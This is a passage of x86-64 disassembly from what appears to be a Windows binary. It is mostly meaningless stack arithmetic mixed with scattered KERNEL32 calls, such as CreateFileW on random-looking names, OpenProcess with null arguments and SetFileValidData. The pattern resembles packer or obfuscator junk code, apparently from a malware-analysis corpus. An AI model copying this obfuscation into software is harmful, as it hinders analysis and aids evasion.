movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x793], al
mov eax, dword [rsp + 0xd2bc]
mov dword [rsp + 0xd43c], eax
mov rax, qword [rsp + 0x19980]
mov rcx, qword [rsp + 0x19cd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xce64], eax
movzx eax, byte [rsp + 0x17f]
mov byte [rsp + 0x7e5], al
movsx eax, word [0x1402bf61c]
movsx ecx, word [rsp + 0x3770]
sub eax, ecx
mov word [rsp + 0x36f4], ax
movzx eax, byte [rsp + 0x61]
movzx ecx, byte [rsp + 0x69f]
add eax, ecx
mov byte [rsp + 0x414], al
movzx eax, word [rsp + 0x3794]
mov rcx, qword [0x1402bf700]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x344c], ax
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xd220]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd2dc], eax
mov rax, qword [0x1402bf628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbfa4]
xor ecx, eax
mov eax, ecx
mov dword [0x1402ad6f0], eax
mov eax, dword [rsp + 0xcfc8]
mov dword [rsp + 0xd440], eax
mov rax, qword [rsp + 0x19b28]
mov rcx, qword [rsp + 0x19ba0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd02c], eax
mov rax, qword [rsp + 0x19c30]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19f18]
mov qword [rsp + 0x19fd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19fd0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd088], eax
lea rax, [rsp + 0x7d5]
mov qword [rsp + 0x19fd8], rax
mov rax, qword [rsp + 0x19d68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3688]
sar eax, cl
mov word [rsp + 0x3780], ax
mov eax, dword [rsp + 0xcf48]
mov dword [rsp + 0xd444], eax
mov rax, qword [rsp + 0x19ea8]
mov rcx, qword [rsp + 0x19f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcff4], eax
mov rax, qword [rsp + 0x19888]
mov ecx, dword [rsp + 0xab38]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd090], eax
mov edx, 0x7c5335
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xcd74], eax
mov rax, qword [rsp + 0x19cd8]
mov rcx, qword [0x1402bf610]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402bf620], eax
lea rax, [rsp + 0x3784]
mov qword [rsp + 0x19fe0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.Ljo4wR0iTOm8Wxb5lKEqLcn2F_bfSkEGw
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19fe8], rax
mov rax, qword [rsp + 0x19e48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19d90]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19fb0]
mov byte [rcx], al
lea rax, [0x1402acb46]
mov qword [rsp + 0x19ff0], rax
mov rax, qword [rsp + 0x19dd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19940]
mov word [rcx], ax
mov eax, dword [rsp + 0x8354]
mov ecx, dword [rsp + 0x9960]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9fc0], eax
xor r9d, r9d
lea r8, [rsp + 0x198d0]
mov rdx, qword [rsp + 0x19e60]
mov rcx, qword [rsp + 0x19bb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xcf04], eax
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd008]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x198c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3688]
imul eax, ecx
mov word [rsp + 0x379c], ax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
mov byte [rsp + 0x7e6], al
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
mov ecx, dword [0x1402ad638]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad74c], eax
mov rax, qword [rsp + 0x19c48]
mov ecx, dword [rsp + 0xce54]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19e08]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd1b8]
mov dword [rsp + 0xd448], eax
mov rax, qword [0x1402bf760]
mov ecx, dword [rsp + 0xce90]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd36c], eax
movzx eax, word [rsp + 0x3688]
mov rcx, qword [rsp + 0x19870]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x3714], ax
movzx eax, byte [0x1402bf710]
cdq
mov ecx, 0xd2
idiv ecx
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x19c98]
mov ecx, dword [rsp + 0xcf48]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd38c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x19ff8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
lea rax, [rsp + 0xcf30]
mov qword [rsp + 0x1a000], rax
mov eax, dword [rsp + 0xcec8]
movzx ecx, al
mov eax, dword [0x1402ad738]
shl eax, cl
mov dword [rsp + 0xd100], eax
mov rax, qword [rsp + 0x19c60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd1d4]
sar eax, cl
mov dword [0x1402ad750], eax
mov eax, dword [0x1402ad6a0]
mov ecx, dword [rsp + 0xd3d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0a8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
movzx eax, word [rsp + 0x3694]
mov word [rsp + 0x37e8], ax
movsx eax, byte [rsp + 0x17d]
mov rcx, qword [rsp + 0x19c88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x102], al
movzx eax, word [rsp + 0x1f48]
mov word [rsp + 0x37ec], ax
mov rax, qword [0x1402bf6e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x199e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7dc], al
mov eax, dword [rsp + 0xce80]
mov dword [rsp + 0xd44c], eax
mov rax, qword [rsp + 0x19ca0]
mov ecx, dword [0x1402ad728]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa4fc], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19dc8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x37bc], ax
movzx eax, byte [rsp + 0x7c3]
movzx ecx, byte [rsp + 0x799]
sub eax, ecx
mov byte [0x1402bf690], al
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
mov ecx, dword [0x1402bf6a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb290], eax
mov rax, qword [rsp + 0x19d70]
mov ecx, dword [rsp + 0xd21c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8d3c], eax
mov eax, dword [rsp + 0xb1c8]
mov dword [rsp + 0xd450], eax
mov rax, qword [rsp + 0x19cb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd404]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fc0], eax
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19950]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1874], ax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
mov byte [rsp + 0x7e7], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd338], eax
mov rax, qword [rsp + 0x19a30]
mov eax, dword [rax]
mov ecx, dword [0x1402ad6a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8128], eax
mov eax, dword [rsp + 0xd410]
movzx ecx, al
mov eax, dword [rsp + 0xd2b8]
shl eax, cl
mov dword [rsp + 0xab2c], eax
mov rax, qword [rsp + 0x19bb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7db]
or eax, ecx
mov byte [0x1402acbb2], al
mov rax, qword [rsp + 0x19890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3708]
sub eax, ecx
mov word [rsp + 0x1f80], ax
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
movzx ecx, word [0x1402ad660]
imul eax, ecx
mov word [rsp + 0x37a8], ax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
mov byte [rsp + 0x7e8], al
mov rax, qword [rsp + 0x19ba0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd240]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd400], eax
mov rax, qword [rsp + 0x19cb8]
mov eax, dword [rax]
mov dword [rsp + 0xd454], eax
mov rax, qword [rsp + 0x19780]
mov rcx, qword [rsp + 0x19c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19fb8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd1f4]
mov ecx, dword [rsp + 0xd11c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb6fc], eax
lea rax, [rsp + 0xd088]
mov qword [rsp + 0x1a008], rax
movzx eax, word [rsp + 0x3264]
movzx ecx, word [rsp + 0x2874]
add eax, ecx
mov word [rsp + 0x35cc], ax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d3]
sub eax, ecx
mov rcx, qword [0x1402bf698]
mov byte [rcx], al
mov rax, qword [rsp + 0x19ed0]
mov rcx, qword [rsp + 0x19f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xbc38], eax
mov rax, qword [rsp + 0x19b18]
mov rcx, qword [rsp + 0x19cc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd410], eax
xor r9d, r9d
lea r8, [rsp + 0x19c50]
mov rdx, qword [rsp + 0x19ae8]
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd458], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd200], eax
mov rax, qword [rsp + 0x1a008]
mov eax, dword [rax]
mov dword [rsp + 0xd45c], eax
mov eax, dword [rsp + 0xd354]
mov ecx, dword [rsp + 0xca14]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19db8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19f38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19e00]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x19a88]
mov word [rcx], ax
mov rax, qword [rsp + 0x19d90]
movzx eax, byte [rax]
mov byte [rsp + 0x7e9], al
lea rdx, [rsp + 0x2c0b0]
mov rcx, qword [rsp + 0x19f80]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcd28], eax
movsx eax, word [rsp + 0x3304]
mov rcx, qword [rsp + 0x19ca8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1de8], ax
movsx eax, byte [rsp + 0x78b]
movsx ecx, byte [rsp + 0x786]
xor eax, ecx
mov byte [rsp + 0x684], al
mov rax, qword [rsp + 0x19f58]
mov eax, dword [rax]
mov dword [0x1402bf5f8], eax
mov eax, dword [rsp + 0xc538]
mov ecx, dword [0x1402ad740]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0f0], eax
movzx eax, byte [rsp + 0x6d3]
mov rcx, qword [rsp + 0x19d00]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x45b], al
mov rax, qword [rsp + 0x19f38]
movzx eax, word [rax]
mov word [rsp + 0x37f0], ax
mov eax, dword [rsp + 0xcea4]
movzx ecx, al
mov eax, dword [0x1402ad658]
shl eax, cl
mov dword [rsp + 0xcde4], eax
mov rax, qword [rsp + 0x19d58]
mov eax, dword [rax]
mov dword [rsp + 0xd460], eax
mov rax, qword [rsp + 0x19b18]
mov rcx, qword [rsp + 0x198b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd1c8], eax
mov eax, dword [rsp + 0xce58]
mov ecx, dword [rsp + 0xd2b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf68], eax
movzx eax, byte [rsp + 0x798]
mov byte [rsp + 0x7ea], al
movzx eax, word [rsp + 0x2dd4]
movzx ecx, word [rsp + 0x3660]
and eax, ecx
mov word [0x1402ad648], ax
lea rcx, [rsp + 0x19720]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x19e68]
mov rcx, qword [rsp + 0x19a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7a4], eax
mov eax, dword [rsp + 0xd3c8]
mov ecx, dword [rsp + 0xac7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb630], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3790
mov rcx, qword [rsp + 0x19ae0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcf6c], eax
mov rax, qword [rsp + 0x19cf0]
mov eax, dword [rax]
mov ecx, dword [0x1402ad6f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2d8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xcd9c], eax
lea rcx, [rsp + 0x2afa0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0x19f10]
mov eax, dword [rax]
mov dword [rsp + 0xd464], eax
mov rax, qword [rsp + 0x19fb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd38c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcedc], eax
movsx eax, word [0x1402ad2f8]
mov rcx, qword [rsp + 0x19940]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x36cc], ax
movzx eax, byte [rsp + 0x791]
mov byte [rsp + 0x7eb], al
mov rax, qword [rsp + 0x19c40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3734], ax
movzx eax, byte [rsp + 0x7c1]
movzx ecx, byte [rsp + 0x7b5]
sub eax, ecx
mov byte [0x1402acbb3], al
mov rax, qword [rsp + 0x19e68]
mov ecx, dword [rsp + 0xd140]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x92dc], eax
mov eax, dword [rsp + 0xd390]
movzx ecx, al
mov eax, dword [0x1402ad748]
shr eax, cl
mov rcx, qword [rsp + 0x19a90]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd3c0], eax
movzx eax, byte [rsp + 0x7e4]
movzx ecx, byte [rsp + 0x7a4]
shl eax, cl
mov byte [rsp + 0x795], al
lea rax, [rsp + 0x36f8]
mov qword [rsp + 0x1a010], rax
mov rax, qword [rsp + 0x19c98]
mov rcx, qword [rsp + 0x19a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xad98], eax
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
mov dword [rsp + 0xd468], eax
mov rax, qword [rsp + 0x19d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd14c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1e4], eax
mov rax, qword [rsp + 0x198f0]
mov ecx, dword [rsp + 0xc4b0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd1fc], eax
mov rax, qword [rsp + 0x19e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x198e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad660], ax
lea rdx, [rsp + 0x2c0e8]
mov rcx, qword [rsp + 0x19f80]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcd50], eax
mov rax, qword [0x1402bf698]
movzx eax, byte [rax]
mov byte [rsp + 0x7ec], al
mov rax, qword [rsp + 0x19e68]
mov ecx, dword [rsp + 0xd044]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd1f0], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf30]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb958], eax
movsx eax, byte [0x1402bf644]
movsx ecx, byte [rsp + 0x1c1]
add eax, ecx
mov byte [rsp + 0x62d], al
movsx eax, word [rsp + 0x374c]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3778], ax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
mov byte [rsp + 0x7ed], al
movzx eax, word [0x1402ad654]
movzx ecx, word [rsp + 0x360c]
add eax, ecx
mov rcx, qword [rsp + 0x19e00]
mov word [rcx], ax
mov rax, qword [rsp + 0x19ed0]
mov eax, dword [rax]
mov dword [rsp + 0xd46c], eax
lea rax, [rsp + 0xd33c]
mov qword [0x1402bf5f0], rax
mov eax, dword [rsp + 0xd2cc]
mov ecx, dword [rsp + 0x7eec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2a0], eax
mov rax, qword [rsp + 0x19f88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x80b4], eax
mov rax, qword [rsp + 0x1a008]
mov ecx, dword [rsp + 0xcfd0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7eec], eax
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
cdq
mov ecx, 0xee
idiv ecx
mov byte [rsp + 0x7e3], al
mov rax, qword [rsp + 0x19d68]
movzx eax, word [rax]
mov word [rsp + 0x37f4], ax
mov rcx, qword [rsp + 0x19a80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0xcd70]
mov ecx, dword [rsp + 0xcfb0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd35c], eax
mov rax, qword [rsp + 0x19bf8]
mov eax, dword [rax]
mov dword [rsp + 0xd470], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19a68]
mov qword [rsp + 0x1a018], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a018]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd18c], eax
mov eax, dword [0x1402ad6ec]
mov rcx, qword [rsp + 0x19e98]
mov qword [rsp + 0x1a020], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a020]
mov eax, dword [rax]
sar eax, cl
mov dword [0x1402ad730], eax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x796], al
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov word [rsp + 0x37f8], ax
movsx eax, byte [rsp + 0x7b9]
movsx ecx, byte [reloc.SHELL32.dll_ILFindChild]
and eax, ecx
mov byte [rsp + 0x7a6], al
lea rax, [rsp + 0x36a8]
mov qword [rsp + 0x1a028], rax
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd46c], eax
mov rax, qword [rsp + 0x19ca0]
mov rcx, qword [rsp + 0x19d20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd238], eax
lea rax, [rsp + 0x369c]
mov qword [rsp + 0x1a030], rax
mov rax, qword [rsp + 0x19c70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7d5], al
lea rcx, str.47v_6ILqIwW1_KL0G5m
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3668], ax
mov rax, qword [rsp + 0x19f58]
mov rcx, qword [rsp + 0x19ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad754], eax
mov rax, qword [rsp + 0x19cd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa1c8], eax
mov rax, qword [rsp + 0x19c48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd370]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd450], eax
mov rax, qword [rsp + 0x19ea8]
mov ecx, dword [rsp + 0xafcc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fa4], eax
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
mov word [rsp + 0x37fc], ax
mov rax, qword [rsp + 0x19e48]
movzx eax, byte [rax]
movzx ecx, byte [0x1402bf6b0]
add eax, ecx
mov byte [rsp + 0x69f], al
lea rax, [rsp + 0xcfbc]
mov qword [rsp + 0x1a038], rax
mov rax, qword [rsp + 0x19a48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb3c4], eax
mov eax, dword [rsp + 0xd454]
mov dword [rsp + 0xd474], eax
mov eax, dword [rsp + 0xac04]
mov rcx, qword [0x1402bf6c8]
mov qword [rsp + 0x1a040], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a040]
mov eax, dword [rax]
sar eax, cl
mov dword [0x1402ad740], eax
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd038]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a18]
mov dword [rcx], eax
movsx eax, byte [reloc.SHELL32.dll_ILFindChild]
movsx ecx, byte [rsp + 0x7b6]
shl eax, cl
mov byte [rsp + 0x7eb], al
movzx ecx, word [rsp + 0x35d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x377c], ax
movsx eax, word [rsp + 0x1d8c]
mov rcx, qword [rsp + 0x19f90]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1bbc], ax
movzx eax, word [rsp + 0x25b8]
movzx ecx, word [rsp + 0x3600]
and eax, ecx
mov rcx, qword [rsp + 0x19bc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7dc]
mov byte [rsp + 0x7ee], al
mov rax, qword [rsp + 0x19b08]
mov rcx, qword [rsp + 0x19ea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19cf8]
mov rcx, qword [0x1402bf638]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19f20]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x7bc]
mov byte [rsp + 0x7ef], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.1MKw6Wqh
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1a048], rax
movzx eax, word [rsp + 0x2ad4]
mov word [0x1402bf5e8], ax
mov rax, qword [rsp + 0x19bf8]
mov rcx, qword [rsp + 0x19eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd3e8], eax
lea rax, [0x1402ad680]
mov qword [rsp + 0x1a050], rax
mov eax, dword [rsp + 0xb418]
mov ecx, dword [rsp + 0xcf50]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19e68]
mov rcx, qword [rsp + 0x19ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19e50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19fd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x79f]
and eax, ecx
mov byte [rsp + 0x1bb], al
movzx eax, word [rsp + 0x36a4]
movzx ecx, word [rsp + 0x3714]
imul eax, ecx
mov rcx, qword [rsp + 0x19ec0]
mov word [rcx], ax
mov rax, qword [0x1402bf638]
mov eax, dword [rax]
mov dword [rsp + 0xd478], eax
mov rax, qword [rsp + 0x19cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0c8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a000]
mov dword [rcx], eax
lea rax, [rsp + 0x3e7]
mov qword [0x1402bf5e0], rax
mov rax, qword [rsp + 0x19dd0]
movzx eax, word [rax]
mov word [rsp + 0x3800], ax
movzx eax, byte [rsp + 0x7e1]
mov rcx, qword [rsp + 0x19e38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7ef], al
movzx eax, word [rsp + 0x36b0]
movzx ecx, word [rsp + 0x3684]
add eax, ecx
mov word [rsp + 0x3714], ax
mov eax, dword [rsp + 0xd20c]
mov rcx, qword [rsp + 0x19910]
mov qword [rsp + 0x1a058], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a058]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9678], eax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf9c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a90]
mov dword [rcx], eax
mov eax, dword [rsp + 0xd3e0]
mov dword [rsp + 0xd47c], eax
mov rax, qword [rsp + 0x19e90]
mov eax, dword [rax]
mov rcx, qword [0x1402bf5f0]
mov qword [rsp + 0x1a060], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a060]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd0fc], eax
mov rax, qword [rsp + 0x19e80]
mov ecx, dword [rsp + 0xcf88]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd0c4], eax
movzx eax, word [rsp + 0x1f7c]
mov word [rsp + 0x3804], ax
movzx eax, byte [rsp + 0x7be]
movzx ecx, byte [rsp + 0x6d3]
and eax, ecx
mov byte [0x1402acb8f], al
mov rax, qword [rsp + 0x19ef0]
mov rcx, qword [rsp + 0x19f00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2a0], eax
mov rax, qword [rsp + 0x19d10]
mov ecx, dword [0x1402ad680]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8fbc], eax
mov eax, dword [rsp + 0xce9c]
mov ecx, dword [rsp + 0xa240]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcde0], eax
mov eax, dword [rsp + 0xd20c]
mov ecx, dword [rsp + 0xcdf4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf70], eax
mov rax, qword [0x1402bf700]
movzx eax, word [rax]
mov word [rsp + 0x3808], ax
mov rax, qword [rsp + 0x19d00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7dd], al
movzx eax, word [rsp + 0x1de8]
mov word [rsp + 0x380c], ax
movsx eax, byte [rsp + 0x37b]
mov rcx, qword [rsp + 0x19a98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7b0], al
mov eax, dword [rsp + 0xcf9c]
mov ecx, dword [rsp + 0xd364]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad758], eax
mov eax, dword [rsp + 0xcfc0]
mov ecx, dword [rsp + 0xce9c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd09c], eax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
mov byte [rsp + 0x7f0], al
mov rax, qword [rsp + 0x19ea0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x3744], ax
mov rax, qword [rsp + 0x19a68]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19f50]
mov qword [rsp + 0x1a068], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a068]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x82e4], eax
mov rax, qword [rsp + 0x19d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xadd0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9fc0], eax
mov eax, dword [rsp + 0x9c50]
mov dword [rsp + 0xd480], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd348]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd18c], eax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19950]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3678], ax
